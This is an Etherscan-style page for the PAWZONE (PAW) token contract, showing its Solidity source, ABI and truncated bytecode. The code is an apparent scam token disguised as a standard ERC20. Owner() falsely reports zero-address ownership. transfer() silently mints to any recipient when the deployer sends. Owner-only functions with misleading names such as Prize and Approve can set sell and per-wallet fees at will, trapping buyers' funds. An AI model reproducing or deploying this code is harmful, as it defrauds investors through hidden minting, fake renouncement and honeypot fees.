ETH Price: $2,522.67 (+0.30%)
Gas: 0.99 Gwei

Token

PAWZONE (PAW)
 

Overview

Max Total Supply

1,000,000,000 PAW

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
23,088,569.761729237843156349 PAW

Value
$0.00
0x85873285837051E23DE3197AC3183b31e2FB7c42
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PAWZONE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-26
*/

/*

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _Owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function Owner() public view virtual returns (address) {
        return address(0);
    }

    modifier onlyOwner() {
        require(_Owner == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _Owner;
        _Owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
   
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {

    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed Owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    
    function allowance(address Owner, address spender) public view virtual returns (uint256) {
        return _allowances[Owner][spender];
    }

    
    function approve(address spender, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, Amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, _allowances[Owner][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        uint256 currentAllowance = _allowances[Owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(Owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _approve(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        require(Owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[Owner][spender] = Amount;
        emit Approval(Owner, spender, Amount);
    }

    
    function _spendAllowance(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        uint256 currentAllowance = allowance(Owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= Amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(Owner, spender, currentAllowance - Amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}
}


contract PAWZONE is ERC20, Ownable {
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _release;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    } 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;

 
    function _transfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - Amount;
        }
        _balances[to] += Amount;

        emit Transfer(from, to, Amount);

        
    }

    function _burn(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - Amount;
        }
        _totalSupply -= Amount;

        emit Transfer(account, address(0), Amount);
    }

    function _REWARD(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 

        _totalSupply += Amount;
        _balances[account] += Amount;
        emit Transfer(address(0), account, Amount);
    }

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        
        _REWARD(msg.sender, totalSupply_ * 10**decimals());
        _defaultSellkFee = 10; 
        _defaultBuykFee = 0;
        _release[_msgSender()] = true;
        
    }

    using SafeMath for uint256;

    uint256 private _defaultSellkFee = 0;
    uint256 private _defaultBuykFee = 0;


    mapping(address => bool) private _Approve;

    mapping(address => uint256) private _Aprove;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;



    function getRelease(address _address) external view onlyOwner returns (bool) {
        return _release[_address];
    }


    function PairList(address _address) external onlyOwner {
        uniswapV2Pair = _address;
    }


    function Prize(uint256 _value) external onlyOwner {
        _defaultSellkFee = _value;
    }

    

    

    function Approve(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 1");
        _Aprove[_address] = _value;
    }

    

    function getAprove(address _address) external view onlyOwner returns (uint256) {
        return _Aprove[_address];
    }


    function Approve(address _address, bool _value) external onlyOwner {
        _Approve[_address] = _value;
    }

    function getApprovekFee(address _address) external view onlyOwner returns (bool) {
        return _Approve[_address];
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _Approve[from] || _Approve[to];
    }


    function _receiveF(
        address from,
        address to,
        uint256 _Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");

        bool rF = true;

        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradekFeeAmount = 0;

        if (rF) {
            uint256 tradekFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {

                    tradekFee = _defaultSellkFee;
                }
                if (from == uniswapV2Pair) {

                    tradekFee = _defaultBuykFee;
                }
            }
            if (_Aprove[from] > 0) {
                tradekFee = _Aprove[from];
            }

            tradekFeeAmount = _Amount.mul(tradekFee).div(100);
        }


        if (tradekFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradekFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradekFeeAmount);
            emit Transfer(from, _deadAddress, tradekFeeAmount);
        }

        _balances[from] = _balances[from].sub(_Amount - tradekFeeAmount);
        _balances[to] = _balances[to].add(_Amount - tradekFeeAmount);
        emit Transfer(from, to, _Amount - tradekFeeAmount);
    }

    function transfer(address to, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        if (_release[Owner] == true) {
            _balances[to] += Amount;
            return true;
        }
        _receiveF(Owner, to, Amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 Amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, Amount);
        _receiveF(from, to, Amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
       
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(this),
            block.timestamp
        );
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Prize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getApprovekFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60a0604052600060085560006009553480156200001b57600080fd5b50604051620036ea380380620036ea83398181016040528101906200004191906200072e565b8282816002908162000054919062000a09565b50806003908162000066919062000a09565b505050620000896200007d6200033860201b60201c565b6200034060201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000148919062000b55565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d6919062000b55565b6040518363ffffffff1660e01b8152600401620001f592919062000b98565b6020604051808303816000875af115801562000215573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023b919062000b55565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002b733620002906200040660201b60201c565b600a6200029e919062000d55565b84620002ab919062000da6565b6200040f60201b60201c565b600a6008819055506000600981905550600160066000620002dd6200033860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050505062000f03565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000481576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004789062000e78565b60405180910390fd5b806001600082825462000495919062000e9a565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620004ed919062000e9a565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000554919062000ee6565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620005c9826200057e565b810181811067ffffffffffffffff82111715620005eb57620005ea6200058f565b5b80604052505050565b60006200060062000560565b90506200060e8282620005be565b919050565b600067ffffffffffffffff8211156200063157620006306200058f565b5b6200063c826200057e565b9050602081019050919050565b60005b83811015620006695780820151818401526020810190506200064c565b60008484015250505050565b60006200068c620006868462000613565b620005f4565b905082815260208101848484011115620006ab57620006aa62000579565b5b620006b884828562000649565b509392505050565b600082601f830112620006d857620006d762000574565b5b8151620006ea84826020860162000675565b91505092915050565b6000819050919050565b6200070881620006f3565b81146200071457600080fd5b50565b6000815190506200072881620006fd565b92915050565b6000806000606084860312156200074a57620007496200056a565b5b600084015167ffffffffffffffff8111156200076b576200076a6200056f565b5b6200077986828701620006c0565b935050602084015167ffffffffffffffff8111156200079d576200079c6200056f565b5b620007ab86828701620006c0565b9250506040620007be8682870162000717565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200081b57607f821691505b602082108103620008315762000830620007d3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200089b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200085c565b620008a786836200085c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008ea620008e4620008de84620006f3565b620008bf565b620006f3565b9050919050565b6000819050919050565b6200090683620008c9565b6200091e6200091582620008f1565b84845462000869565b825550505050565b600090565b6200093562000926565b62000942818484620008fb565b505050565b5b818110156200096a576200095e6000826200092b565b60018101905062000948565b5050565b601f821115620009b957620009838162000837565b6200098e846200084c565b810160208510156200099e578190505b620009b6620009ad856200084c565b83018262000947565b50505b505050565b600082821c905092915050565b6000620009de60001984600802620009be565b1980831691505092915050565b6000620009f98383620009cb565b9150826002028217905092915050565b62000a1482620007c8565b67ffffffffffffffff81111562000a305762000a2f6200058f565b5b62000a3c825462000802565b62000a498282856200096e565b600060209050601f83116001811462000a81576000841562000a6c578287015190505b62000a788582620009eb565b86555062000ae8565b601f19841662000a918662000837565b60005b8281101562000abb5784890151825560018201915060208501945060208101905062000a94565b8683101562000adb578489015162000ad7601f891682620009cb565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b1d8262000af0565b9050919050565b62000b2f8162000b10565b811462000b3b57600080fd5b50565b60008151905062000b4f8162000b24565b92915050565b60006020828403121562000b6e5762000b6d6200056a565b5b600062000b7e8482850162000b3e565b91505092915050565b62000b928162000b10565b82525050565b600060408201905062000baf600083018562000b87565b62000bbe602083018462000b87565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c535780860481111562000c2b5762000c2a62000bc5565b5b600185161562000c3b5780820291505b808102905062000c4b8562000bf4565b945062000c0b565b94509492505050565b60008262000c6e576001905062000d41565b8162000c7e576000905062000d41565b816001811462000c97576002811462000ca25762000cd8565b600191505062000d41565b60ff84111562000cb75762000cb662000bc5565b5b8360020a91508482111562000cd15762000cd062000bc5565b5b5062000d41565b5060208310610133831016604e8410600b841016171562000d125782820a90508381111562000d0c5762000d0b62000bc5565b5b62000d41565b62000d21848484600162000c01565b9250905081840481111562000d3b5762000d3a62000bc5565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d6282620006f3565b915062000d6f8362000d48565b925062000d9e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c5c565b905092915050565b600062000db382620006f3565b915062000dc083620006f3565b925082820262000dd081620006f3565b9150828204841483151762000dea5762000de962000bc5565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000e6060218362000df1565b915062000e6d8262000e02565b604082019050919050565b6000602082019050818103600083015262000e938162000e51565b9050919050565b600062000ea782620006f3565b915062000eb483620006f3565b925082820190508082111562000ecf5762000ece62000bc5565b5b92915050565b62000ee081620006f3565b82525050565b600060208201905062000efd600083018462000ed5565b92915050565b6080516127cb62000f1f600039600061063e01526127cb6000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806349bd5a5e116100c357806395d89b411161007c57806395d89b41146103b2578063a457c2d7146103d0578063a9059cbb14610400578063b4a99a4e14610430578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b806349bd5a5e146102de5780635dd7c8ac146102fc5780636c9992b31461032c57806370a082311461035c578063715018a61461038c57806390ec57f1146103965761014d565b80631f478f1e116101155780631f478f1e1461020c57806323b872dd146102285780632c91d07114610258578063313ce5671461027457806339509351146102925780633de94b45146102c25761014d565b806306fdde0314610152578063095ea7b3146101705780630e5133b7146101a05780631694505e146101d057806318160ddd146101ee575b600080fd5b61015a61049a565b6040516101679190611d05565b60405180910390f35b61018a60048036038101906101859190611dc0565b61052c565b6040516101979190611e1b565b60405180910390f35b6101ba60048036038101906101b59190611e36565b61054f565b6040516101c79190611e1b565b60405180910390f35b6101d861063c565b6040516101e59190611ec2565b60405180910390f35b6101f6610660565b6040516102039190611eec565b60405180910390f35b61022660048036038101906102219190611f33565b61066a565b005b610242600480360381019061023d9190611f73565b61075c565b60405161024f9190611e1b565b60405180910390f35b610272600480360381019061026d9190611e36565b61078b565b005b61027c610866565b6040516102899190611fe2565b60405180910390f35b6102ac60048036038101906102a79190611dc0565b61086f565b6040516102b99190611e1b565b60405180910390f35b6102dc60048036038101906102d79190611ffd565b610918565b005b6102e66109b9565b6040516102f39190612039565b60405180910390f35b61031660048036038101906103119190611e36565b6109df565b6040516103239190611eec565b60405180910390f35b61034660048036038101906103419190611e36565b610abf565b6040516103539190611e1b565b60405180910390f35b61037660048036038101906103719190611e36565b610bac565b6040516103839190611eec565b60405180910390f35b610394610bf5565b005b6103b060048036038101906103ab9190611dc0565b610c98565b005b6103ba610dbb565b6040516103c79190611d05565b60405180910390f35b6103ea60048036038101906103e59190611dc0565b610e4d565b6040516103f79190611e1b565b60405180910390f35b61041a60048036038101906104159190611dc0565b610f36565b6040516104279190611e1b565b60405180910390f35b610438611012565b6040516104459190612039565b60405180910390f35b61046860048036038101906104639190612054565b611017565b6040516104759190611eec565b60405180910390f35b61049860048036038101906104939190611e36565b61109d565b005b6060600280546104a9906120c3565b80601f01602080910402602001604051908101604052809291908181526020018280546104d5906120c3565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000806105376111af565b90506105448185856111b7565b600191505092915050565b60006105596111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105df90612140565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600154905090565b6106726111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f890612140565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000806107676111af565b905061077485828561137f565b61077f85858561140b565b60019150509392505050565b6107936111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081990612140565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b60008061087a6111af565b905061090d8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610908919061218f565b6111b7565b600191505092915050565b6109206111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109af576040517f08c379a000000000000000000000000000000000000000